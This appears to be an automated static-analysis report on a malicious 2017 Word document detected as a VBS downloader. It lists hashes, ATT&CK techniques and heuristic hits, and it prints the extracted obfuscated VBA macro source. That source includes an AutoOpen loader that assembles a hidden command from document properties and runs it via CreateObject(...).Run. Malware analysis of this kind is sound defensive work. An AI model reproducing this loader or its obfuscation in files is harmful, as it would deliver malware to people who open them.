Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00845581ac159299…

MALICIOUS

Office (OLE)

74.5 KB Created: 2017-08-24 07:47:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: c8f2f7e82ee5b0416f2ac265cbf2e8da SHA-1: b9a1c4a42cebee1cfc60b11bf6d729522a307fcf SHA-256: 00845581ac1592992d87a894ed1c61add67e56bf69bdc9b1d3bac2ac75727dcd
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains obfuscated VBA macros, including an auto-executing loader that utilizes CreateObject and execution sinks. ClamAV identifies it as a VBSDownloader, indicating its purpose is to download and execute additional malicious content. The presence of an autoopen macro and the general nature of macro-based threats suggest it was likely delivered as a spearphishing attachment.

Heuristics 9

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    uymFkWWbNu = wLadRLsYNMF + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + eCsKahUXwU
CreateObject(TLccTtm).Run$ uymFkWWbNu + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + WeArKuNUr, 0
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    uymFkWWbNu = wLadRLsYNMF + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + eCsKahUXwU
CreateObject(TLccTtm).Run$ uymFkWWbNu + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + WeArKuNUr, 0
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
DywCUwMwM
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11750 bytes
SHA-256: 52a19ef346a5456ef31652823121223ffb2f2273f25de632ebd6b767f1618394
Detection
ClamAV: No threats found
Obfuscation or payload: likely
172 of 211 identifiers look randomly generated (e.g. 'wwnFfXhCBFC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function mZbmZSB()
CnUkzSdUNEL = 7327
Dim VswEAWhkp(7327)
GpdCfygnz = "SZZcyRMaWdr"
 cmbrgnEE = "tATCxYuex"
 VswEAWhkp(2843) = DNPxBXPrYw
 VswEAWhkp(5368) = UHDupkraDa
 VswEAWhkp(518) = 2334 + 2073 + 1646 + 1221 / 5757 / 6483 / 9018 - 5124 - 2945 + 68 + 9339 + 5011
 VswEAWhkp(4708) = GkXcRtd
 VswEAWhkp(7231) = 8836
 VswEAWhkp(3280) = 8717
 VswEAWhkp(2723) = xKExrfVRUf
 VswEAWhkp(2197) = 9140 + 5367 + 6303 + 2693 / 1215 / 1219 - 1555 + 346
  For CnUkzSdUNEL = 162 To 6408
VswEAWhkp(CnUkzSdUNEL) = CnUkzSdUNEL
Next
uxFhWdBausS = VswEAWhkp(6924) + VswEAWhkp(7292) + VswEAWhkp(2013) + VswEAWhkp(2157) + VswEAWhkp(4287) + VswEAWhkp(3910) + VswEAWhkp(7327)
 rpkmHCnFDe = VswEAWhkp(2290) + VswEAWhkp(891) + VswEAWhkp(181) + VswEAWhkp(1476) + VswEAWhkp(2087) + VswEAWhkp(7327)
End Function
Function nEKHGyCzZ()
nxBaSzkV = 5040
Dim vTvzbFHhNeT(5040)
nXrZHUfsm = "TpppGwuePDv"
 LDzBXdHs = "ZSXcHgx"
 vTvzbFHhNeT(3582) = cmCfZGCUv
 vTvzbFHhNeT(1985) = 5745 + 104 + 6204 + 6553 / 4154 / 6149 - 7590 - 3533 - 3241 + 5950
 vTvzbFHhNeT(1626) = 7985 + 7921 + 4475 / 4503 / 3281 - 8836 - 3097 + 5223
 vTvzbFHhNeT(2581) = ABDkstxbML
 vTvzbFHhNeT(2759) = fxHrfNvE
 vTvzbFHhNeT(197) = LceYEvA
 vTvzbFHhNeT(3551) = 2060
 vTvzbFHhNeT(98) = kGtMrTx
 vTvzbFHhNeT(1503) = tYGzczGwGPb
 vTvzbFHhNeT(3355) = nZwMvEcYMG
 vTvzbFHhNeT(3283) = 1819 + 8600 / 5686 / 501 / 5365 - 3576 - 4482 - 8124 + 4664 + 5812
  For nxBaSzkV = 4646 To 4864
vTvzbFHhNeT(nxBaSzkV) = nxBaSzkV
Next
YNBXRSb = vTvzbFHhNeT(2685) + vTvzbFHhNeT(308) + vTvzbFHhNeT(1003) + vTvzbFHhNeT(5040)
 ysRPkCMwn = vTvzbFHhNeT(481) + vTvzbFHhNeT(89) + vTvzbFHhNeT(113) + vTvzbFHhNeT(3902) + vTvzbFHhNeT(5040)
End Function
Function TcknzRbP()
WMPpVVCvsMV = 6186
Dim rpgzkDDz(6186)
txxrcUdH = "DZkRpdz"
 rpgzkDDz(3691) = gxnasmKV
 rpgzkDDz(5155) = WfexWeFNV
 rpgzkDDz(5004) = asVaATa
 rpgzkDDz(620) = 1989 + 8169 + 1625 + 6895 / 5621 / 7050 / 5273 - 8226 - 7890 + 8240 + 7360
 rpgzkDDz(5578) = 3640 + 3693 + 1497 + 4439 / 1617 / 7167 - 264 - 3935 - 715 + 8841
 rpgzkDDz(1197) = enKZKCMAuCk
 rpgzkDDz(1984) = LyHXMGsP
 rpgzkDDz(1328) = bLmUnXNA
 rpgzkDDz(2258) = ztNXmBSnME
 rpgzkDDz(1345) = 440
 rpgzkDDz(419) = vGbztuKB
 rpgzkDDz(3514) = MFxFPVwMZ
 rpgzkDDz(730) = bVTCAGUEz
 rpgzkDDz(1837) = zkeNMSv
 rpgzkDDz(839) = 1358 + 1613 + 2432 + 6997 / 8429 / 1486 - 1394 - 559 + 5023 + 3305
 rpgzkDDz(993) = 1425 + 5092 / 1617 / 7974 - 8949 + 7351 + 1552
  For WMPpVVCvsMV = 3365 To 1362
rpgzkDDz(WMPpVVCvsMV) = WMPpVVCvsMV
Next
WcNakxL = rpgzkDDz(1823) + rpgzkDDz(3053) + rpgzkDDz(6186)
 CKKSRuDR = rpgzkDDz(5395) + rpgzkDDz(1196) + rpgzkDDz(4880) + rpgzkDDz(5437) + rpgzkDDz(6186)
 vDzdFLfhLAW = rpgzkDDz(3860) + rpgzkDDz(4255) + rpgzkDDz(5110) + rpgzkDDz(323) + rpgzkDDz(3834) + rpgzkDDz(6186)
End Function
Function uYFPukG()
pPmNXadCRn = 2483
Dim wZHyCWrBF(2483)
nuhWmWrLnx = "LTfSvGzKK"
 wZHyCWrBF(1566) = YKRfNbzLy
 wZHyCWrBF(1906) = KHxzPKm
 wZHyCWrBF(1623) = TpBsSrBXH
 wZHyCWrBF(299) = cfPfyVY
 wZHyCWrBF(670) = 3147 + 310 + 1718 / 9330 - 9393 - 168 + 7634 + 2714 + 7757
 wZHyCWrBF(1732) = 1412 + 5882 / 7172 - 3885 + 8619 + 7745 + 2313
 wZHyCWrBF(1577) = 9513 + 5885 + 9932 + 1983 / 1313 / 7669 - 6934 - 1223 + 8954 + 7385 + 8020
 wZHyCWrBF(1749) = svGvPkKN
 wZHyCWrBF(2133) = zpWSMrXDe
 wZHyCWrBF(1637) = SNsSFyuyNF
 wZHyCWrBF(1671) = 4965
 wZHyCWrBF(196) = 3455
 wZHyCWrBF(2071) = frwfvPpW
 wZHyCWrBF(1805) = 8023 + 774 + 88 / 8580 - 7332 - 1208 + 5943 + 8359 + 1265
 wZHyCWrBF(1456) = 6525 + 4426 + 3185 + 6414 / 8254 / 3457 / 8239 - 9577 - 626 - 3213 + 7546 + 5072 + 6752
 wZHyCWrBF(872) = 518 + 4209 + 7472 + 1865 / 7205 / 1240 / 5790 - 1849 - 6364 - 3324 + 5046 + 3019 + 555
  For pPmNXadCRn = 294 To 100
wZHyCWrBF(pPmNXadCRn) = pPmNXadCRn
Next
ppnPUtekR = wZHyCWrBF(1683) + wZHyCWrBF(1670) + wZHyCWrBF(1241) + wZHyCWrBF(459) + wZHyCWrBF(2483)
End Function
Function vkdzLzeRUx()
tLmrVRK = 1456
Dim WuzspUhYye(1456)
rKygVMkVSyR = "gkKHRykSLtY"
 WuzspUhYye(297) = ZGkxUsVwMsp
 WuzspUhYye(805) = ckZsXzdE
 WuzspUhYye(769) = kgxMXCSSct
 WuzspUhYye(1423) = LcWxdrr
 WuzspUhYye(1156) = 6974 + 5742 / 8739 / 8805 - 6385 + 8220 + 7423
 WuzspUhYye(444) = sFHagwnGX
 WuzspUhYye(824) = 539
 WuzspUhYye(676) = 3202
 WuzspUhYye(187) = 2235
 WuzspUhYye(645) = 5880
 WuzspUhYye(293) = aLuLtfAKRyk
 WuzspUhYye(859) = ehEchMfVbM
 WuzspUhYye(654) = gWNHUHUS
 WuzspUhYye(182) = VEuRSGwuzE
 WuzspUhYye(103) = 4106 + 4009 + 1187 / 7396 - 7043 + 608
 WuzspUhYye(578) = 9130 + 9858 + 4415 + 3862 / 615 / 1260 - 5757 + 6899
  For tLmrVRK = 191 To 182
WuzspUhYye(tLmrVRK) = tLmrVRK
Next
sRpesBw = WuzspUhYye(131) + WuzspUhYye(710) + WuzspUhYye(1017) + WuzspUhYye(537) + WuzspUhYye(394) + WuzspUhYye(934) + WuzspUhYye(1269) + WuzspUhYye(1456)
 yBwzxaYt = WuzspUhYye(1225) + WuzspUhYye(1456)
End Function
Sub autoopen()
DywCUwMwM
End Sub
Public Function GapWUsG(ewvfVyeYR)
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
 NYNbazYy = vDXxgUR + hHwTyMznbY = FfBFMTtz
 FfCFnaKaRKZ = wwnFfXhCBFC + xbmdAvAFyE = THnksKWKy
 cZzRXHvs = ActiveDocument.CustomDocumentProperties(ewvfVyeYR)
GapWUsG = cZzRXHvs
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
 NYNbazYy = vDXxgUR + hHwTyMznbY = FfBFMTtz
 FfCFnaKaRKZ = wwnFfXhCBFC + xbmdAvAFyE = THnksKWKy
 End Function
Public Function DywCUwMwM()
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
 NYNbazYy = vDXxgUR + hHwTyMznbY = FfBFMTtz
 FfCFnaKaRKZ = wwnFfXhCBFC + xbmdAvAFyE = THnksKWKy
 TLccTtm = GapWUsG("NzGyuRVhtF") + GapWUsG("mzdrhDN") + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + GapWUsG("dKFYBGKckM") + GapWUsG("FBPepnrar") + GapWUsG("NgPVFeptmEf")
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
 NYNbazYy = vDXxgUR + hHwTyMznbY = FfBFMTtz
 FfCFnaKaRKZ = wwnFfXhCBFC + xbmdAvAFyE = THnksKWKy
 wLadRLsYNMF = GapWUsG("Kzvwhkhs") + GapWUsG("rBebVRL") + GapWUsG("GNWcDVYs") + GapWUsG("zFRLHpcV") + GapWUsG("CYCNBpxLc") + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + GapWUsG("PsfwZZH")
uymFkWWbNu = wLadRLsYNMF + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + eCsKahUXwU
CreateObject(TLccTtm).Run$ uymFkWWbNu + kzWPEwyZeDV + GScsEurtAG + GCeWThu + cypGyLtvs + aemSBrtPLP + YZpPbVm + WeArKuNUr, 0
NgtsMpx = yLdhwCEcyu + apSrLwapseK = FutfENS
 NYNbazYy = vDXxgUR + hHwTyMznbY = FfBFMTtz
 FfCFnaKaRKZ = wwnFfXhCBFC + xbmdAvAFyE = THnksKWKy
 End Function

Function srZksGk()
xLkytmLReu = 7786
Dim pmMYdaKLYNP(7786)
WZCCXVWGaX = ("DCFkCWn")
 pmMYdaKLYNP(4021) = CtBEVGkaWmK
 pmMYdaKLYNP(6065) = WHBcKFvNWX
 pmMYdaKLYNP(4017) = XBkuccAMm
 pmMYdaKLYNP(3474) = vGRVrxfN
 pmMYdaKLYNP(6985) = 3528 + 7853 + 3097 / 1914 / 4872 / 3844 - 210 + 1074 + 1870
 pmMYdaKLYNP(5198) = 5972 + 6425 + 9972 + 2292 / 4397 / 5389 / 5062 - 8624 + 8767 + 5736
 pmMYdaKLYNP(2133) = UtsNrkDgB
 pmMYdaKLYNP(5084) = 4513
 pmMYdaKLYNP(3340) = zddnyCs
 pmMYdaKLYNP(3712) = 2402 + 7300 + 9402 / 4296 / 6821 / 4659 - 9005 + 3422 + 9223
  For xLkytmLReu = 5116 To 318
pmMYdaKLYNP(xLkytmLReu) = xLkytmLReu
Next
DBBeKeDNR = pmMYdaKLYNP(2590) + pmMYdaKLYNP(6243) + pmMYdaKLYNP(7614) + pmMYdaKLYNP(3174) + pmMYdaKLYNP(5663) + pmMYdaKLYNP(6711) + pmMYdaKLYNP(7786)
End Function
Function vPaXDzLrECb()
mvyFxDG = 2765
Dim vBmBmkNNhY(2765)
uRHMLSa = ("NgKEdfS")
 kpFKzDhWZcd = ("zeFYzLccU")
 DurhCstAY = ("EbmGeDPsK")
 vBmBmkNNhY(2039) = MgznBdYYDB
 vBmBmkNNhY(1205) = VXMfWPkbGP
 vBmBmkNNhY(981) = 2517 + 5914 + 4585 + 8710 / 5141 - 820 - 6587 - 5815 + 7487 + 8267
 vBmBmkNNhY(1585) = dhyrgGsY
 vBmBmkNNhY(381) = YudpkzwTSWf
 vBmBmkNNhY(2703) = XzyAMmT
 vBmBmkNNhY(2608) = 9282
 vBmBmkNNhY(194) = 3469
 vBmBmkNNhY(2669) = ECAxMBs
 vBmBmkNNhY(385) = 6352 + 5495 / 5577 / 7805 - 9232 + 2348
 vBmBmkNNhY(1574) = 2015 + 2630 / 9413 - 2590 + 7734 + 5776
 vBmBmkNNhY(2191) = 957 + 2301 + 6100 + 5089 / 3270 / 662 / 8137 - 6472 - 5463 + 5786 + 2400 + 9326
  For mvyFxDG = 1991 To 2704
vBmBmkNNhY(mvyFxDG) = mvyFxDG
Next
yLNvTFxRFwF = vBmBmkNNhY(1054) + vBmBmkNNhY(302) + vBmBmkNNhY(2435) + vBmBmkNNhY(2765)
 zvMRFFL = vBmBmkNNhY(1411) + vBmBmkNNhY(1811) + vBmBmkNNhY(2556) + vBmBmkNNhY(1839) + vBmBmkNNhY(2765)
End Function
Function ReVmHdf()
wHdUUnXVLZm = 2867
Dim LZzpMeSDLer(2867)
zfNcUch = ("ZysxzFcnBTA")
 UbDdAXsndWx = ("npePBPG")
 LZzpMeSDLer(1968) = PyhVvSTZuW
 LZzpMeSDLer(1681) = aEzdtUz
 LZzpMeSDLer(1372) = zYeKDDX
 LZzpMeSDLer(2733) = GcdEktV
 LZzpMeSDLer(2112) = 3237 + 6310 / 4666 - 4605 - 9050 + 7552 + 7120 + 6138
 LZzpMeSDLer(2081) = 5111 + 7382 + 5559 / 2642 - 2413 - 8361 - 1909 + 6473 + 6876 + 4078
 LZzpMeSDLer(2520) = aascgxw
 LZzpMeSDLer(534) = 9259
 LZzpMeSDLer(363) = 5788
 LZzpMeSDLer(995) = XrMAaBFs
 LZzpMeSDLer(2411) = 5572 + 3397 + 1016 + 8825 / 8129 / 3401 - 8792 + 5724 + 4713
  For wHdUUnXVLZm = 1186 To 573
LZzpMeSDLer(wHdUUnXVLZm) = wHdUUnXVLZm
Next
UvEZzCz = LZzpMeSDLer(389) + LZzpMeSDLer(1889) + LZzpMeSDLer(2668) + LZzpMeSDLer(2867)
End Function
Function dHwTwytbPC()
uVbDDWwFAnW = 8871
Dim xZYFZWATWz(8871)
zCNnaZMSSw = ("BLytAEnKYSN")
 xZYFZWATWz(3018) = mxbdrCCaKh
 xZYFZWATWz(6893) = uuCTvydY
 xZYFZWATWz(8434) = rwrBWMaegX
 xZYFZWATWz(3091) = FHzeKWb
 xZYFZWATWz(6680) = 1192 + 1840 + 612 / 8262 / 8429 - 3791 - 1333 - 651 + 5084 + 4136
 xZYFZWATWz(892) = 5221 + 5098 + 2497 / 5851 - 8435 - 1466 - 5363 + 9884 + 7205 + 7586
 xZYFZWATWz(4528) = 7527 + 9338 + 3479 / 7484 / 5022 - 6105 - 1274 + 2673 + 5726 + 1465
 xZYFZWATWz(5882) = NavPrHPgxD
 xZYFZWATWz(8816) = PGpZvtW
 xZYFZWATWz(8440) = 9442
 xZYFZWATWz(5435) = 2179
 xZYFZWATWz(8519) = 8943
 xZYFZWATWz(4284) = 9964
 xZYFZWATWz(3716) = duGygeduE
 xZYFZWATWz(1293) = sYeYuZcd
 xZYFZWATWz(5155) = CYtELermbt
 xZYFZWATWz(6149) = 7963 + 9626 + 7661 / 8648 / 2292 - 8522 + 684 + 7928
 xZYFZWATWz(8716) = 9797 + 3270 / 9617 / 999 - 6808 - 9084 - 5635 + 2393 + 7304 + 9589
 xZYFZWATWz(4094) = 7139 + 5319 + 5960 + 8799 / 1351 / 6683 - 2269 - 2779 - 2895 + 9420 + 4538 + 4934
  For uVbDDWwFAnW = 4320 To 4976
xZYFZWATWz(uVbDDWwFAnW) = uVbDDWwFAnW
Next
CATbsXePWU = xZYFZWATWz(2366) + xZYFZWATWz(2981) + xZYFZWATWz(2952) + xZYFZWATWz(8731) + xZYFZWATWz(5302) + xZYFZWATWz(8871)
 pmUeXhTZPNb = xZYFZWATWz(4475) + xZYFZWATWz(8871)
 vvdbMbUnAB = xZYFZWATWz(5014) + xZYFZWATWz(2795) + xZYFZWATWz(5282) + xZYFZWATWz(4341) + xZYFZWATWz(378) + xZYFZWATWz(7849) + xZYFZWATWz(341) + xZYFZWATWz(8871)
End Function
Function xfNdLbypN()
HaKbgPn = 8207
Dim MNrxZeXDL(8207)
FGUatCwCFN = ("LVzWEpFsbK")
 fURaUyc = ("wWLzTWm")
 MNrxZeXDL(2806) = NYDVHPstm
 MNrxZeXDL(6159) = WGwgEpged
 MNrxZeXDL(3478) = 5044 + 309 / 9956 - 5476 - 6160 + 9867
 MNrxZeXDL(794) = 705 + 1848 + 913 + 9753 / 4366 - 8208 - 2392 - 8903 + 6346 + 7437 + 5921
 MNrxZeXDL(2200) = BPamSnvPHp
 MNrxZeXDL(3509) = 544
 MNrxZeXDL(6586) = 7306
 MNrxZeXDL(4742) = 353
 MNrxZeXDL(8027) = 248
 MNrxZeXDL(950) = fBvfPkcT
 MNrxZeXDL(7150) = zwpfufKH
 MNrxZeXDL(579) = VWuBUvBzLe
 MNrxZeXDL(5621) = 5563 + 1912 + 3580 / 9218 / 6616 / 6243 - 8349 - 7652 - 710 + 1542 + 8308 + 5983
 MNrxZeXDL(701) = 2110 + 4879 + 2058 + 3595 / 5984 / 8697 / 1648 - 7560 - 364 + 2561
  For HaKbgPn = 6547 To 6933
MNrxZeXDL(HaKbgPn) = HaKbgPn
Next
XmFbheVZD = MNrxZeXDL(5368) + MNrxZeXDL(8207)
 NrLNXAu = MNrxZeXDL(6481) + MNrxZeXDL(7040) + MNrxZeXDL(2053) + MNrxZeXDL(4120) + MNrxZeXDL(8207)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.